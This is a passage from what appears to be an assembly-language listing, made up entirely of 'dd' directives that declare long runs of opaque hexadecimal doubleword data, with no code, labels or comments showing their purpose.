		dd 0F829FB00h, 66EB81C6h, 4B590131h, 0C29EF726h, 0D12883A1h
		dd 64DD30Eh, 0CD31E718h, 510A780Fh, 381C36A3h, 9BBBD881h
		dd 4A185307h, 72F2888h,	0EE9691BBh, 0B0B7A014h,	5D00CAE4h
		dd 0D10AC220h, 0AB7316h, 0E35C264Ch, 798E8692h,	10503598h
		dd 0D90020B0h, 0E7A006AAh, 1D9263D1h, 40D00108h, 95D70D3h
		dd 56005117h, 0A368D9A6h, 2BB454h, 0E32C346Fh, 0B550A8BAh
		dd 158EA001h, 0E88782AFh, 0F297F8h, 716D89E5h, 0B5112B80h
		dd 7300B47Eh, 3498ABA0h, 67EC86h, 0B2C35763h, 1F4E0CAAh
		dd 1BCDD81Ch, 0A1ACEF40h, 0FF564CEh, 0D4B548E5h, 58295C80h
		dd 5D02F72Fh, 98B139B9h, 0C790C0F1h, 647700A0h,	543BBA78h
		dd 562E7634h, 4A0039ADh, 59E09CFFh, 520401ECh, 8AAC28D6h
		dd 0BD0BEC33h, 0C2933405h, 0D00CADAAh, 806B2137h, 0E8007FD3h
		dd 0FFF74892h, 0A5C9ADh, 455274F5h, 2AAE7AE6h, 0F28C30C3h
		dd 69D1D15Ah, 662F7EE8h, 2198086Dh, 5A7A6C00h, 0FFA77627h
		dd 3A9E652h, 0DC4CCFF3h, 280008E2h, 5D34DD60h, 0F0AC276Dh
		dd 37D1CF6h, 16FA0070h,	8E69D92Eh, 2260F5E8h, 359AD20h
		dd 3D0BF64Dh, 2600E86Dh, 9C8B434Fh, 13074D9h, 92B692F2h
		dd 0AC2F008Ah, 0A26B7A37h, 270E5967h, 1628011h,	63FD46C5h
		dd 2AF83080h, 68988BB9h, 4CACCD00h, 165CF5FAh, 4B190118h
		dd 0FD976FC7h, 206080F8h, 35E0C2F4h, 222E2F39h,	36845C00h
		dd 51C00C50h, 57465ED4h, 495F03E3h, 44D8F40Eh, 212071A3h
		dd 11720035h, 0DB7FC3F9h, 0E000FE29h, 2C6CBABh,	0D39788h
		dd 0E620BC67h, 0DF36E7FBh, 96829307h, 804B1570h, 21B9E6Ah
		dd 65DD3769h, 0BCB73010h, 63005D3Eh, 2CE9705Ah,	1748824h
		dd 9467DF7Ah, 4209070Eh, 2A40A3D4h, 5A7D2E38h, 0C1652000h
		dd 6564CC3h, 0A6A700C2h, 733B783h, 0E200D80Ah, 52D587EEh
		dd 0FE628FA0h, 9F5500C1h, 7C30D75Ch, 8C7EF45Fh,	21A10D31h
		dd 8BA9A75h, 9C148181h,	41E9E331h, 8065D3F8h, 6BFA2018h
		dd 0B011A2E4h, 0AE9083h, 0A4F33DC4h, 0F0484A29h, 41EABB03h
		dd 0EF37A5A2h, 963AC3h,	6EBE1561h, 0F656A810h, 1B05AAA0h
		dd 653074F6h, 52CF6071h, 8C880057h, 1A24810Fh, 2B7763C4h
		dd 0AC236407h, 0E7E8Eh,	155D39E2h, 0A9D0F30Eh, 0AD380256h
		dd 0AF1352A6h, 91628480h
		dd 0D1C0A024h, 0F77DAB03h, 236000CEh, 5C54421Ah, 6D280EB8h
		dd 211018A0h, 0F815773Fh, 112CA86Ah, 86FB011Bh,	0CDCF59DAh
		dd 0D131818Fh, 88D84AD5h, 0FED97D8h, 28269CCAh,	0BD2D1C80h
		dd 0F876ECBCh, 0E295FD00h, 32CE4DC5h, 0D3915CC7h, 4E60C800h
		dd 0DB092DC3h, 0D0769500h, 82A2BFD6h, 0A9F200E3h, 0D266205Bh
		dd 0AC00B24Fh, 6006F7D8h, 0FB6D77h, 34564118h, 0FE031AD1h
		dd 0E8F58A00h, 0B78698E0h, 184C0CF4h, 0FF50CE58h, 6D435Ch
		dd 0B2C1C88Eh, 3BE4D57h, 0D6B8400Bh, 7DE18BF6h,	581883C5h
		dd 0D851B6ACh, 6CF92479h, 0E41868E6h, 2F5B900h,	4C0B5E90h
		dd 0D5CA2674h, 0E12303E7h, 403DDA3Ah, 6CC076A0h, 0D14A80C2h
		dd 0CCA80049h, 0DE5F87A6h, 702837BBh, 26180801h, 0D82985BEh
		dd 0B15C002Ah, 91587981h, 0CB00C982h, 5AF4A645h, 304D48E7h
		dd 0F818B64Eh, 0F300BA07h, 862575BCh, 6E7765h, 0A782679h
		dd 0EF7AF1ACh, 13FAED00h, 94B00E5Eh, 0D0E207ABh, 73F681A2h
		dd 82F02541h, 7B001DECh, 0ED15539Bh, 228CA9h, 0F4B3D7E5h
		dd 0EB41A465h, 0DE21300h, 0B52687E6h, 4DA0E54h,	0D87D9BCAh
		dd 0ED32080Ah, 0AB87E500h, 0C6AF546Fh, 7F87A60h, 21EFAC95h
		dd 9E461059h, 0DCB0A458h, 82EAE0ECh, 0BEDBD13Ch, 7110F94h
		dd 0E687808Ch, 0DE1F7DD8h, 730D0570h, 0D361C05Dh, 0B706EA95h
		dd 0D177A2FBh, 8460070h, 46C493Bh, 0CF038035h, 0C3BBCE8Bh
		dd 0ED41000Bh, 4F40694Bh, 10C08A3Bh, 0B422E045h, 0E41E8BEh
		dd 44B56539h, 20881186h, 24A5FE00h, 0B2F680C8h,	1E331E74h
		dd 0F0DC37h, 0EA40B76Dh, 390043E5h, 0A9BE6812h,	14DA4B01h
		dd 8447827Fh, 56DFA70Eh, 40FA2907h, 0DC37033Bh,	356DA5E8h
		dd 26F04C20h, 2D7C4C91h, 0EFA32F01h, 46331AD4h,	6E46508Ch
		dd 3F8A8301h, 0BD99A2Bh, 57FDC200h, 7C734172h, 89C60601h
		dd 0BE9482E2h, 952BFCh,	69649C58h, 0B73D9B34h, 483390A0h
		dd 6316B3Dh, 0AF46E860h, 97FC00D4h, 0D586D719h,	0E5002F21h
		dd 0C934A3F9h, 0B07C0BDEh, 1DF5F48Eh, 539633Ch,	0C08AF0B4h
		dd 6198F42Bh, 616C000h,	6BD54385h, 0C7C24h, 678B705Ch
		dd 29397927h, 19B01E1Dh, 3EF2A383h, 6F18006Eh, 0B2B5F8A0h
		dd 0A40044EBh, 0AE1EC832h, 3863E2D1h, 0BB0CF28Dh, 0D798E349h
		dd 0E9A0A4DBh, 7DEC361Ah, 24070089h, 8F706F85h,	2900D1F2h
		dd 0C816EDDBh, 0FEA1B1BDh, 911A03EFh, 0AA11F35Fh, 5E94388h
		dd 4460C6B8h, 98F5EC58h, 0E61B0092h, 297B3886h,	2F632087h
		dd 6508D0h, 1246FC29h, 0C0865F94h, 3900A5F4h, 4EF38A5Eh
		dd 4050ED19h, 8B00A142h, 0EEB9019Bh, 0B807CF45h, 574D0021h
		dd 2A95F9FDh, 0BD0AB05Ah, 846525EBh, 971C5900h,	0D76A5Fh
		dd 0B514DCEh, 42357DD0h, 0A728BE39h, 0FD5C18h, 0B032AB08h
		dd 0DB00E46Eh, 707145C7h, 80CF85h, 0F2263AE9h, 5B76ECFCh
		dd 20A4410Fh, 76039223h, 0F8199614h, 246932AAh,	1C1BD0CCh
		dd 9AE87Fh, 0A7B893A3h,	2FEE8C20h, 51D268C0h, 38F565BFh
		dd 3B18DA8Eh, 0E775401Ch, 40D11501h, 0BD648713h, 5883F471h
		dd 8EB9A107h, 0D40050FEh, 0B10CF9B8h, 1E216429h, 0C0F59B60h
		dd 71D8BCDBh, 28C74C0Dh, 54701D59h, 383F16E0h, 0F200EE21h
		dd 0A169057Ch, 301BAE4h, 0BDBFD54Eh, 88600D2Bh,	0ECF0054h
		dd 68CD274Fh, 0DB154974h, 902496h, 9B418BD3h, 30C7FA1Eh
		dd 0B6289A2Eh, 5500F301h, 0DD309726h, 99FD1Dh, 0A1ED9D74h
		dd 0B615E379h, 1B03CC1Bh, 3593F8E8h, 6E4103DCh,	0A5D7F901h
		dd 78BC38D0h, 1B131800h, 8331D38Eh, 506D0094h, 0E82715CCh
		dd 0AAF6DD29h, 0EEC1F70Ah, 7F028CEDh, 0A057E053h, 24F90994h
		dd 0A7050014h, 17BFD43h, 0CA0068F0h, 0BB831691h, 5E9687h
		dd 3C9BF9C8h, 70CFAD13h, 65E10700h, 61AE8C4Eh, 8E2A0030h
		dd 8BDACC2Eh, 93005A8Ah, 5FADFAF1h, 1B0EE5h, 0F2F99B95h
		dd 1AC80204h, 0F70701FAh, 0CCDCAA59h, 6F76A340h, 12140EE2h
		dd 3C804E9Ch, 1CB0B78h,	3990C00h, 1A9A96A9h, 8A611813h
		dd 4BDB40C9h, 0AE280A00h, 9A631C08h, 797401DCh,	0F09C3D8Ah
		dd 9971F012h, 0A35C4B00h, 0BB9A089h, 7AF4F8h, 0B5DCFB5Dh
		dd 8D0F9240h, 7C60ED64h, 0F2D5A6C0h, 70620033h,	0BAA0E153h
		dd 75015867h, 9C730B2Ah, 0FE0496Dh, 6E3E0EBh, 7FF662C6h
		dd 13AC806h, 58239EFAh,	0B3B7B81h, 18804EC1h, 0F1CAE8DAh
		dd 80A0A45Eh, 456027F8h, 0F39E5928h, 989F602Fh,	21A85B2h
		dd 74EF739h, 731CC743h,	0C16358E0h, 6471F2h, 28AE49AFh
		dd 1EA5DBFFh, 0E0CF6600h, 6F481CFAh, 0A4E30120h, 46B9D4E5h
		dd 7F430099h, 9124A80Eh, 8BEE8077h, 0BFE62077h,	0D6B17107h
		dd 2EC0B349h, 70E5DFh, 1D1222EAh, 5659FA8Bh, 0B7756B1Dh
		dd 0DDAA99C0h, 7F4048h,	2F362E8Ch, 752C774Fh, 398D0848h
		dd 0AFF0034Bh, 0B869E98Ah, 0F25468h, 0F96A9D5Eh, 2C491EEEh
		dd 948ADC1Dh, 0F1877300h, 74B62B6Ch, 0B5050027h, 9BBCF8FCh
		dd 41012186h, 20EF1391h, 0E1F479AEh, 0FF9C009Eh, 7E113DECh
		dd 66004AC2h, 0CCEFCF6Ch, 7F8B54Eh, 0B60DC695h,	5C8CA08Eh
		dd 3200E71Ah, 14CA7F29h, 1EF2DAh, 58B5B74Eh, 8B4C5E46h
		dd 9F99E0Ch, 0E80A4049h, 4E470E9Bh, 48AEEE67h, 76C654C0h
		dd 0A103B420h, 0A36BD46Fh, 1A29881Eh, 0E74C4h, 2D96BAA8h
		dd 0B0E47982h, 85DD7718h, 3B3C5250h, 0D40023EBh, 594E7828h
		dd 0ED03BB0Ah, 32AF1C24h, 93E6E8AEh, 4009005h, 23C24374h
		dd 2F14C081h, 0A0070659h, 0FD46287Ah, 240B20FEh, 0BA644Ch
		dd 62B62686h, 13EEEDDCh, 0B85B0A00h, 0E8C5BE3Dh, 831003ABh
		dd 15FB2820h, 0A048CBF2h, 0E11C1179h, 1707BCE9h, 9AE05AE7h
		dd 0A1C09Dh, 0ABED2EECh, 94420F57h, 733B5B00h, 480E22FBh
		dd 65EE0C8Bh, 5C99A43Eh, 0ED10C400h, 0F472AD0Ch, 62EA3E66h
		dd 0D5F22D80h, 0AAA047A8h, 0B36B1900h, 8A202BFEh, 148C3865h
		dd 8387988Fh, 0D54AC1DCh, 0C81D66DCh, 4800266Fh, 0F473010Ah
		dd 3CBEA21h, 305DAE40h,	9D35FD5h, 3A10D4A8h, 431B3B0Ch
		dd 0C5304Eh, 0FBE47235h, 1F515CEBh, 8008E70h, 492D4240h
		dd 1D7E84C8h, 80394769h, 2EC134C0h, 0A8010999h,	90E77470h
		dd 0C2304163h, 1D48002Fh, 0BE035DFh, 0C03A49F5h, 10858079h
		dd 0A4B054FFh, 591C00C2h, 0CCE7636Ah, 600713B9h, 856B7D06h
		dd 455BAB30h, 0A5F900FBh, 67D90CD0h, 0B2004C41h, 76D64EE4h
		dd 0CAFF44h, 7AE73601h,	8C6AC693h, 0E4EEA600h, 0FE9B540Fh
		dd 0A9BD0019h, 723BC2F2h, 7500F651h, 0EC143281h, 0F46DB11h
		dd 423728B9h, 7C87A8Ah,	7057B638h, 0CDD8E616h, 4E024700h
		dd 5A43186Ah, 1B0426AEh, 0C9139Dh, 2411CB1Bh, 15480645h
		dd 9AFB245Eh, 1EFD0F3Dh, 127CC095h, 0F48D2133h,	94CA02E4h
		dd 397B8607h, 8B408DE0h, 0E5AC8000h, 44206775h,	0F0B732D6h
		dd 0C4A3D7D9h, 0E0D79A7Eh, 17ADBD58h, 602CB6E2h, 220091CDh
		dd 3AB0AC5Fh, 194BBh, 43F94082h, 0F1005ADFh, 0E3F0B83Eh
		dd 0C03CA224h, 0DB7DA7E0h, 0A6043DE9h, 1908D0Ch, 12957091h
		dd 475B00EAh, 0ED3B4BD6h, 0D18480DAh, 4F0B6196h, 0DBC52C76h
		dd 5D09008Ah, 0FC9294E4h, 0FB5C4D00h, 45FEB2E9h, 4C5B601Fh
		dd 0A9F2B56Ah, 3DED6912h, 0D222E400h, 902FDBCEh, 0B3BE0F0Dh
		dd 9EC332F2h, 40D0FDFAh, 5C025FEDh, 0A7650457h,	0B673C1A5h
		dd 0F6F0BBD9h, 93903CCDh
		dd 57C41F00h, 0DB5B14D2h, 1EBCDC05h, 0AB838CE1h, 9311C86Ah
		dd 0BFCA0F87h, 52206621h, 0BB88E30Bh, 96DECD03h, 0BF8D62D8h
		dd 9155600Fh, 0BE14EEh,	0F506B694h, 17CFE5CAh, 9F275E00h
		dd 782A31E2h, 0F2E70098h, 703022Eh, 0F6007FEAh,	0D9DFDBA8h
		dd 394D0D68h, 0E674D611h, 70F000CBh, 52F6443Ch,	0FF0E8426h
		dd 0A05BE929h, 9451C49Ch, 0BF7AD9h, 0CC53A10Fh,	0B76640Ah
		dd 1AFAE703h, 0EB1CA9EFh, 50B2C8CBh, 0B045004Ah, 7C9FD608h
		dd 70E5F02Ch, 0EC01B3C5h, 14B64F25h, 0F680534Bh, 8428F8A2h
		dd 97007F27h, 0AAA5BCB2h, 0E03A49h, 5C8091C7h, 1A20E3E5h
		dd 0A0695600h, 178E9584h, 0BB9C0001h, 52595F82h, 6F1716F1h
		dd 0F0160279h, 0DAF83C43h, 2F808C38h, 0F4EF49C5h, 98BF74C4h
		dd 0B6E099Ch, 6A07552Ch, 0C9808F14h, 8D4E77F4h,	8E7C8F3Bh
		dd 122FC886h, 0F8B6CA00h, 18E36B01h, 60AFAAE6h,	0A8A8BE32h
		dd 80F9FB08h, 29F3DE61h, 4C07BAB8h, 0E000E52Ah,	0FB9A879h
		dd 264C7D91h, 0CF53022Ch, 804CA99Dh, 5C47AD81h,	75B7BB9h
		dd 0E04FFAF7h, 412CC084h, 6400567Eh, 0F15F71E1h, 0BC5965h
		dd 46521F16h, 691719E0h, 0C3BFAE0Ah, 6500994Ch,	52EE0512h
		dd 77290133h, 0D48D451Bh, 0BE8FDC3Ah, 58FF4F01h, 0B6685927h
		dd 73EDC187h, 0F0850742h, 0D68E3151h, 7C673300h, 0B76B57D2h
		dd 0AA4100B9h, 0A558E121h, 0FF7140E8h, 0FC626300h, 644E6CFEh
		dd 0FC400BEh, 59FD3A69h, 8902A577h, 0FE994DC1h,	0ED6360EFh
		dd 671700D6h, 0EA88326h, 9601A09Ah, 398C85D1h, 9DE8B122h
		dd 7F2C00F7h, 9027504Ah, 970076FBh, 0E8FFDD7Eh,	719935C4h
		dd 0CA6F006Ch, 91A46005h, 2B2E32ACh, 4780A8A0h,	6FB04AB8h
		dd 50C66087h, 2C3B5CBFh, 5A017475h, 2521D131h, 0ABFCE437h
		dd 6FB09Ah, 4AFBA81h, 0CD0F281Dh, 29E7FE00h, 0B6D01796h
		dd 51711759h, 88E44121h, 0CDBCDF28h, 0CF9B431Bh, 0B96F80FFh
		dd 82025B68h, 0AF1A01C9h, 168FE07Ah, 0E710C0A6h, 969E6628h
		dd 3E0341F8h, 8D09FCBCh, 0D715D0B3h, 0AEEE0062h, 962F77EFh
		dd 30F0B138h, 4724112h,	42685B00h, 0A0AC7DEBh, 4A7B5344h
		dd 0F24800FEh, 8B78BE03h, 7615567Ch, 7889CA0h, 33EB4372h
		dd 0A177C841h, 0D28C0C41h, 0A3F874h, 0BBFB383Ah, 72D8CB01h
		dd 9C9F3C02h, 40E3CCD5h, 0E9EEDh, 69BAB197h, 51F6AF64h
		dd 0B6F11207h, 0E8609F6Fh, 0EE3EEFh, 5CB48FCFh,	2DD620AFh
		dd 0A9F6AC00h, 96475971h, 0E8F703EDh, 41FC3275h, 94FE3DD8h
		dd 0E720EA00h, 0CC76B92Ah, 88813917h, 3F8F2305h, 9ADCC0FBh
		dd 0E3008066h, 0D50E2B28h, 0F91D726h, 0EE9FBBE5h, 93241640h
		dd 33002082h, 0CE8E250Fh, 1D097249h, 0B0B328h, 0AE6A1CD7h
		dd 0DF00812Ah, 9883858Fh, 0EB0644h, 1AB0296Ch, 0A1A32D71h
		dd 5BF43A00h, 504F1902h, 0FEB0A899h, 0F8CE00DFh, 0CA0CAAC0h
		dd 0B6002FC1h, 990B7DE0h, 98A9E5F9h, 0E2251D0Ch, 0D7BB4338h
		dd 0CD0C1Dh, 29EA90B4h,	0DC787DADh, 6B728900h, 9D772640h
		dd 9AA60082h, 0A96F8F39h, 0E31F0D7Dh, 0D6464504h, 80FBAAh
		dd 7E568CC6h, 39AE2D05h, 0B803DD00h, 0AD10A892h, 95773AB1h
		dd 37CD3104h, 7DD88391h, 882E18C8h, 0C8004C96h,	0F972024Bh
		dd 0A8F5E6A0h, 9A2FFCh,	0B2A4E405h, 6CB1BC4Dh, 0B189406h
		dd 4B38609Bh, 4D5440DFh, 55D4CF70h, 0C10054E8h,	2C4BD5CDh
		dd 38B2AFB3h, 0E500A45Eh, 36FFC6F1h, 0B104B879h, 26DE9042h
		dd 85A35880h, 0D57100AFh, 0FE27035Eh, 931EBD08h, 0CB440BF2h
		dd 59001E89h, 0C4AA4A23h, 0F8AED519h, 0F1F497A8h, 5E283BEDh
		dd 53BDD080h, 3CA8E136h, 54D2B001h, 5BA4948Bh, 0BD2F03Ah
		dd 0B87BFF28h, 0A96B7000h, 7F987AE1h, 0AFF80011h, 689C8C9Bh
		dd 23792B76h, 1EF36F09h, 27AA0056h, 3634E32h, 2A7E26D4h
		dd 8CA06EB7h, 8A1FC088h, 9B40170Ch, 0EDBFF897h,	0FA7100A6h
		dd 728CE6E7h, 0A0002579h, 34B6EC2Bh, 0F245CC42h, 0C1BF4882h
		dd 21183700h, 0D6D84A3h, 7A9B8700h, 0E4F250CAh,	1AF097DBh
		dd 23B6D700h, 24542685h, 0ED900F9h, 0E17B9BF6h,	9900BB8Eh
		dd 0AFF5122Ch, 0BA7277h, 432F627Eh, 0FE93E942h,	0F7F1BE00h
		dd 0C85FEA31h, 0BC1B00FBh, 3A74A4CBh, 0F07801Ah, 6E89873Fh
		dd 2500A097h, 0BDDF524h, 4CCD4FA4h, 0C100ADD0h,	66AA0AD0h
		dd 7D88CB4h, 0BF1D2709h, 0E6AEA02Ch, 96014D18h,	0E995EF44h
		dd 41E83806h, 83D20004h, 0F12AE2B2h, 48F61DCEh,	9FE75B00h
		dd 200257A8h, 677500C8h, 0F19DEC18h, 0F500D54Dh, 0AD1BF99h
		dd 78F66850h, 4AC807FFh, 0B08A10F8h, 4CB148BCh,	0DD063Eh
		dd 8EA5C7Ah, 924D6Ch, 0F3E3C0A7h, 0DD2B0B73h, 18257B03h
		dd 0D054C8D1h, 0F8558F6h, 0F3F1175Ah, 2079BA47h, 0F0A2AEE5h
		dd 3C633400h, 44AA2F86h, 0EEF0065h, 41F4D82h, 0C6F66693h
		dd 1548D076h, 0A08500D7h, 0D3E38CCBh, 5DB40790h, 402C7E13h
		dd 913B49F7h, 71771C00h, 0A1F29DEEh, 0A3781CB1h, 0A6F6018Bh
		dd 60AA6372h, 1C070AE2h, 0B790E619h, 39010850h,	583200C8h
		dd 260861Eh, 300313Ah, 0E6FCEDB2h, 74B43836h, 7B0F85Ah
		dd 4EC840DAh, 0C001D04Ch, 44024911h, 4FE5DBA7h,	79DA80BEh
		dd 250475h, 3A03CFA5h, 4D13FC5Fh, 9DF57300h, 4A41170Bh
		dd 7C500129h, 0FB6D54B4h, 652FE890h, 9C50207h, 0CCE0CF1Eh
		dd 1E10964Ah, 5D588093h, 2045584Ch, 9C0F8749h, 7278B17h
		dd 1E606EDAh, 18CA75h, 2FB3776Ch, 1FAA9114h, 0F53BEC00h
		dd 0EDDBFE80h, 48E0049h, 0CA92C0DCh, 3900CF8Bh,	694C03C7h
		dd 0F89BEEh, 0DB426E45h, 41159D90h, 33032890h, 0ACF3CB44h
		dd 0B38190F8h, 0E20400EBh, 5A1108D3h, 0D800B91Fh, 73813DCh
		dd 0FAFC342h, 8AF50E15h, 47577600h, 0AE0E0AD4h,	0E966CED5h
		dd 0A868000Fh, 39F1AA5h, 0EA96198h, 50B08A0Ah, 6E48C53Ch
		dd 53100078h, 9A63A332h, 4A5800A6h, 0D4EB50Ch, 92989EFBh
		dd 0E624747Fh, 0F5001888h, 42CBE239h, 571A24F2h, 0F4D50054h
		dd 7560C49h, 0B58AA101h, 0F67A25F3h, 5A82E8h, 0C42FD432h
		dd 27E133AEh, 800E86E0h, 6C436DEDh, 0C2EB811h, 1BF45152h
		dd 0C6007376h, 0D7BA07CEh, 4C7DCFDFh, 6C00AC1Dh, 0AA68A72Eh
		dd 2B00EDC1h, 0B2708B6Bh, 0EC8906C8h, 344113B3h, 0A145033Dh
		dd 507E0379h, 9A4F9900h, 49E16487h, 2DE900FEh, 9D0C74EAh
		dd 8139E5Fh, 0BA000A34h, 0E0BD8141h, 149836h, 2F8BFA21h
		dd 4A4DC431h, 80AFBC3Fh, 60F6BA2Ah, 775544Bh, 6AC60A28h
		dd 45CE2067h, 14005FD1h, 11C9EFC1h, 3541B79h, 2C69D00Eh
		dd 0FEE00C5Ch, 8F00A905h, 6CAA7B3Eh, 167F6343h,	0ADE832h
		dd 0A909863Eh, 5002A85h, 0A6E199EBh, 26DAC64h, 0B30835Ch
		dd 9CA0E5ABh, 3AA91876h, 98E939h, 0B47106A7h, 15946Bh
		dd 0F7A32C52h, 37B3D611h, 0DE235500h, 955CEF3Eh, 0D28A38BFh
		dd 0C09ED91Eh, 77362D63h, 3F01030Ch, 0C79311E2h, 0C8C8A48Ah
		dd 9723007Bh, 507CCDD5h, 630092E6h, 9CDEB512h, 0F87814Ch
		dd 7EE0BA04h, 800346E4h, 0EF5F51FCh, 37451700h,	969C2D16h
		dd 0C481513h, 0D601E844h, 3B8A5F03h, 40DD21C2h,	5C01F30h
		dd 3EE69703h, 0F0ADB650h, 135609Ah, 764C53D7h, 41A48FEDh
		dd 0F0C6C9C0h, 1214E221h, 12883799h, 180711AAh,	5DE0CB13h
		dd 2E1BAC41h, 5A6CAA2h,	11CF5D6h, 899B0980h, 9E602056h
		dd 0D5202F04h, 188702F8h
		dd 0BFFE2910h, 3D97BBAh, 0B04580DCh, 0DAF8D144h, 9E2AAC9Fh
		dd 0FF002010h, 0DBA503AFh, 0F2FC4FBh, 0F243C594h, 9414AD67h
		dd 698480F4h, 0E3FA5ACh, 0B89C3CA6h, 7D5C0028h,	0F4738842h
		dd 79F0C53Bh, 998400B9h, 0FB414712h, 2CC65B00h,	305FDA4Fh
		dd 881E00CDh, 0D2CA62DFh, 0CC008D07h, 394D0BBh,	0A2BF6Ch
		dd 1D5295E7h, 0B4C5CFBEh, 0CD8FA100h, 6DEC2C19h, 0D9D0009h
		dd 877BCC72h, 0BC00D3B8h, 0AA0B5B20h, 0E0B56AFCh, 0C3F61E53h
		dd 7157003Fh, 986C14F4h, 2D704300h, 2C3347D9h, 3B720160h
		dd 2ADB809Ch, 0B12C30DEh, 2DCE638h, 0F6D81236h,	247C404Fh
		dd 5C7AE9h, 0DFD1814Ah,	9AB6F24Eh, 8EE89E01h, 405BD28Fh
		dd 0E8405061h, 185E32h,	28777887h, 858470EFh, 7403991Ch
		dd 55339E80h, 862F9Ch, 7559C720h, 0C317EC25h, 8B013FE6h
		dd 4350A599h, 81EC7B7Fh, 0A01C12A4h, 66FF000Bh,	0C10C2746h
		dd 411CD472h, 0EFCA61C0h, 0A900BC4Dh, 96181AE0h, 0F7C40004h
		dd 897E1135h, 0F07B7DF4h, 0A4A94F01h, 0DC30B58Bh, 8CCC30h
		dd 4960A3EEh, 68423E84h, 0F90027B0h, 0CF010540h, 17BE719Bh
		dd 4EF64C1Ch, 0C7600E9Ch, 4027916Fh, 5D00EFE0h,	0EB140244h
		dd 73AF9Fh, 4FEEA3E9h, 0F963F7C0h, 1A498A13h, 75F4F420h
		dd 80346324h, 7FF84199h, 0E160920Fh, 466A5B10h,	430D28D9h
		dd 3F2601A8h, 502F0F7Bh, 2C80324Dh, 0B11F487Ah,	0FD6FF9C0h
		dd 0C121659h, 8D814013h, 731256D8h, 88202E5Dh, 18467506h
		dd 5809AFF7h, 1866BF0h,	6CE48903h, 8E870B2Ch, 8BF25840h
		dd 0E2EA80EAh, 5801BCCFh, 0DC810030h, 0D03ECDD4h, 0F2009A42h
		dd 0DA78250Dh, 0E4CC9038h, 12820F45h, 0BCE0A53Fh, 139DF71Ch
		dd 0D7000F75h, 9F18CE7Fh, 972F833h, 99C9F9F0h, 0ED41C800h
		dd 0C8016BAFh, 5B93DC37h, 4260CE3Ch, 0AB9B00C1h, 2EF0B3CAh
		dd 0AFF2CD59h, 0FEE820E3h, 0BD9C4900h, 567DB9F5h, 53A71D12h
		dd 0C0EADE0Eh, 7A3502A6h, 0AC24458Dh, 2704CC8Ah, 916B8Eh
		dd 0E208F4Ch, 0BD2C0073h, 0EC98FD22h, 0ACB0EAABh, 6C6E38h
		dd 5325789h, 188D2F81h,	21902165h, 317F8C2h, 7E00CD2Ch
		dd 7AED6474h, 0A79A0491h, 0D70A20FFh, 9F3F9568h, 41390980h
		dd 80284B9Ah, 9DC97A2h,	8C9827A9h, 17005814h, 60ADB825h
		dd 72702F1h, 430AD5C9h,	0BDD4C07Eh, 3200F57Bh, 0CF0E1FB2h
		dd 48571204h, 22008A69h, 4B3750D5h, 0A600837Fh,	7B935BE5h
		dd 5599E31h, 0FAEA7D95h, 4CD0000Fh, 75CFD93Fh, 0BC7A3Dh
		dd 0A940E579h, 17C11D7h, 7D201474h, 63EC6DEBh, 0CE6B00F0h
		dd 929C6917h, 7AC9395Eh, 7BD8DB83h, 9D097D1h, 4E0FF281h
		dd 4408EFA3h, 0D980E228h, 0D374A4h, 0B0249ADDh,	382A12CCh
		dd 0BE065C16h, 0CB7D2C40h, 0BB5E6360h, 2006889Ch, 0BD00B624h
		dd 0ED2FA933h, 65CE049Dh, 0C2FC0D25h, 0E468AE2Ch, 0F20187FFh
		dd 0F75B277Bh, 88230A41h, 68DA5500h, 0E33AFA9Bh, 31B0702Eh
		dd 11314C07h, 0B45B9CA1h, 343BE04Bh, 9109F680h,	95B9EE48h
		dd 720178DDh, 0A4883208h, 0BA11CE30h, 0E88500DCh, 0C8A7943Ch
		dd 0E001B65Fh, 0ED718CDCh, 0E8809D7Ch, 202EF988h, 0F0028578h
		dd 3ECDFF5h, 2340688Dh,	0E8974EABh, 0C5DA001Dh,	0C8A43050h
		dd 0D8E70017h, 0A174A735h, 0A9F2C784h, 9C98671Ch, 0BBB21C47h
		dd 6E862B30h, 3F24905Dh, 9D80A5F6h, 0CE30507h, 0FD1F7DC8h
		dd 0A9C09A1Fh, 0D4F38806h, 0F5D33CD7h, 0F230913h, 0D202E51Eh
		dd 0C0506002h, 0E8368400h, 6F986894h, 5B8C00BCh, 0D63D4E5Fh
		dd 923803F2h, 5A830095h, 0F7CD6C64h, 771E1F86h,	0E1DA013Dh
		dd 20809BE0h, 0B401FA30h, 32E976C3h, 4960C09Dh,	24BB00D0h
		dd 0EE69FF1Eh, 2E383C8Eh, 0F6C40578h, 0BAC06D70h, 9F0B1F5h
		dd 4BB46F63h, 114C7403h, 2E8E2DE0h, 0B33ECA00h,	3D477A81h
		dd 29B8009Ch, 0C274F049h, 0A7BD1C0h, 9E373Ch, 0B4A6442Eh
		dd 0E87C73h, 0ED27141Dh, 3BBC5405h, 4500CBEAh, 65B3B49Eh
		dd 13396A7Eh, 74FC8Ch, 49BAAABEh, 0D50026E7h, 52367C56h
		dd 1DCBEBh, 9E809111h, 0AD862ED9h, 0A81CC09Ah, 80FEDF31h
		dd 0B8827C13h, 1D4575Dh, 9FAA3EF4h, 0F06F0950h,	5235A525h
		dd 2980A8B3h, 3F61F5CDh, 709D2875h, 6793002Eh, 65736BF1h
		dd 0A4BF9002h, 0E15637C3h, 99C0CED9h, 51F30CB0h, 35113B6Fh
		dd 0F2EB830Eh, 0F80560A4h, 24D1A5BCh, 80A466C1h, 4A9147AAh
		dd 0CA09888Bh, 5E9E58h,	74762D6Eh, 712779AFh, 0C5FC3815h
		dd 0D6751700h, 0DE46BD54h, 2138B301h, 479B53ACh, 1DB6E06Eh
		dd 7F00B6FEh, 9C4D562Dh, 0D716CFh, 0A3C84EFDh, 0A4CDFEC3h
		dd 75AD6400h, 0C551149Fh, 92760031h, 21016D9Ah,	0B200DBCAh
		dd 28AEE8D4h, 1FF1C42h,	0E926156Ch, 0F4458663h,	0E33F82A5h
		dd 18DC2Eh, 10AFC9FAh, 0B3619Dh, 0B22FB1CEh, 8BC56B08h
		dd 0E1EC8900h, 0C2F9441Ah, 0DCE20082h, 8FB92610h, 0AA005224h
		dd 76066BB5h, 3E9E2B09h, 0E1000381h, 6667DF29h,	0BF2EA3BAh
		dd 3F0387B2h, 0E2D8A5D7h, 481F60FBh, 0F72764Fh,	6B77C351h
		dd 52A0CD0Fh, 0B16191D8h, 0DE9E6D0Eh, 2AC581B0h, 82604864h
		dd 678B0055h, 63308459h, 3818D6F6h, 3B707FE6h, 93E1CDAh
		dd 2410F093h, 7C0A53D4h, 0CC64819Fh, 6A491D81h,	1185978Bh
		dd 803BE80Bh, 21792E42h, 26EEEB00h, 2C7BA21Ah, 0CAF00076h
		dd 544C9B3Bh, 0B300EC4Eh, 14420BAAh, 0BE1D2Ah, 525D2CC7h
